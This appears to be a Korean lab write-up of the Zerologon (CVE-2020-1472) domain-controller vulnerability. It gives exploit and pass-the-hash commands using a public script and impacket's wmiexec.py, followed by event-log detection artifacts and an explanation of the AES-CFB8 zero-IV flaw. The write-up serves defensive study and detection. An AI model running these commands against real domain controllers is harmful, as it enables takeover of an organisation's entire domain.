개요
2020-08-17 Windows Netlogon 서비스에서 권한상승 취약점이 발견되었다. Netlogon은 도메인 내 사용자를 인증하는 Windows Server의 서비스 중 하나로 컴퓨터와 도메인 컨트롤러 간 보안채널을 생성한다. Netlogon은 Netlogon Remote Protocol 이하 MS-NRPC라고도 칭한다. 해당 취약점을 이용해 도메인 컨트롤러(Domain Controller)에 별도의 권한 없이 네트워크 연결만으로도 취약점을 악용할 수 있어 위험도가 매우 높다. CVE 점수 또한 10점 만점중에 10점을 배정받았다.
본 글에서는 피해 서버를 선택할 때, 침해사고 비율이 높은 Windows Server 2012 R2를 선택하였다. 공격을 진행할 서버로는 Windows 10을 사용하고자 했다.
영향 받는 Windows Server 제품군 및 테스트 환경은 아래 표와 같다.
product | Version |
---|---|
Windows Server 2008 | R2 SP1 |
Windows Server 2012 | - |
Windows Server 2012 | R2 |
Windows Server 2016 | - |
Windows Server 2016 | 1903 |
Windows Server 2016 | 1909 |
Windows Server 2016 | 2004 |
Windows Server 2019 | - |
Role | Product |
---|---|
공격자(192.168.100.132) | Windows 10 |
피해자(192.168.100.128) | Windows Sever 2012 R2 Standard |
|이번 테스트에서 사용할 정확한 시스템 버전은 아래와 같다.
- Windows Server 2012 R2 Standard_6.3.9600 빌드
준비물
공격 대상 및 공격지
피해서버(192.168.100.128)
- Windows Server 2012 R2 Standard (자세한 빌드 버전은 문서 상위에 작성되어있음)
공격서버(192.168.100.132)
- Windows 10 (Python 3.11 버전 사용)
도구
- wmiexec.py 다운로드
- impacket 설치
1
pip install impacket
- github 다운로드
- https://github.com/midpipps/CVE-2020-1472-Easy
스크립트
도메인 컨트롤러 공격 및 해시 값 획득
1
$ python cve-2020-1472-easymode.py -n [DC 컴퓨터 이름] -i [DC IP주소] -d [DC 도메인]
해시 값 크랙
1
$ python wmiexec.py -hashes [해시 값] [DC 도메인]/[DC 계정]@[DC IP주소]
로그 및 아티팩트
Security.evtx
중요하다고 생각되는 데이터 위주로 작성
Event ID: 4742
- 컴퓨터 계정을 변경하였습니다.
상위컬럼 | 하위컬럼 | 내용 |
---|---|---|
주체 | 계정이름 | ANONYMOUS LOGON |
주체 | 계정 도메인 | NT AUTHORITY |
변경된 컴퓨터 계정 | 보안 ID | 공격당한 계정의 SID |
변경된 컴퓨터 계정 | 계정 이름 | 피해 PC 컴퓨터 이름 |
변경된 컴퓨터 계정 | 계정 도메인 | 피해 도메인 이름 |
Event ID: 4724
- 계정 암호를 다시 설정하려고 합니다.
상위컬럼 | 하위컬럼 | 내용 |
---|---|---|
주체 | 계정이름 | ANONYMOUS LOGON |
주체 | 계정 도메인 | NT AUTHORITY |
대상 계정 | 보안 ID | 공격당한 계정의 SID |
대상 계정 | 계정 이름 | 피해 PC 컴퓨터 이름 |
대상 계정 | 계정 도메인 | 피해 도메인 이름 |
CVE-2020-1472
Zerologon은 Microsoft Active Directory 도메인 컨트롤러를 공격하는 MS사의 Netlogon 프로세스 암호화 취약점이다. Zerologon을 사용하면 공격자는 도메인 컨트롤러를 손상시키며 서버를 장악할 수 있다.
이 취약점은 마이크로소프트의 MS-NRPC(Microsoft Active Directory Netlogon Remote Protocol)의 암호화 결함을 공격한다. 때문에, 공격자는 사용자가 NTLM (NT LAN Manager)을 사용하는 서버에 로그온 할 수 있다.
이 취약점의 가장 큰 문제는 MS-NRPC가 컴퓨터 계정 암호 변경 사항을 전송하는데도 사용한다는 점이다. 때문에, 위 실습에서도 Security.evtx에서 계정 변경에 대한 로그가 나타난 것이다.
원래 Windows NT에서 로그온 프로세스를 암호화하는데 사용된 알고리즘은 2DES였으며 2DES는 문제가 있는 암호화 알고리즘으로 알려져있다. 현재 MS-NRPC는 암호화의 벤치마크로 간주되는 AES (Advanced Encryption Standard)를 사용한다.
강력한 알고리즘을 선택하는 것 외에도 적절한 강도를 보장하기 위해 추가 설정을 선택해야 하는데, MS-NRPC는 AES-CFB8(Advanced Encryption Standard – Cipher Feed Back 8bit)이라는 모호한 설정을 사용한다. AES-CFB8은 잘 알려지지 않고 테스트 되지 않았기 때문이다.
MS-NRPC 내에서 AES-CFB8을 사용하면 초기화 벡터(IV, Inital Vector).이 벡터는 임의의 수여야 하지만 MS-NRPC는 16바이트의 0값으로 고정했다. 때문에, 공격자들은 추측 가능했으며, 해당 취약점에 사용되어 도메인 컨트롤러가 손상되며 서버가 장악되는 결과까지 초래될 수 있다.
Reference
- https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/ff8f970f-3e37-40f7-bd4b-af7336e4792f
- https://www.trendmicro.com/ko_kr/what-is/zerologon.html
- https://m.blog.naver.com/PostView.nhn?isHttpsRedirect=true&blogId=skinfosec2000&logNo=222145380981&categoryNo=40&proxyReferer=
- https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/#final-words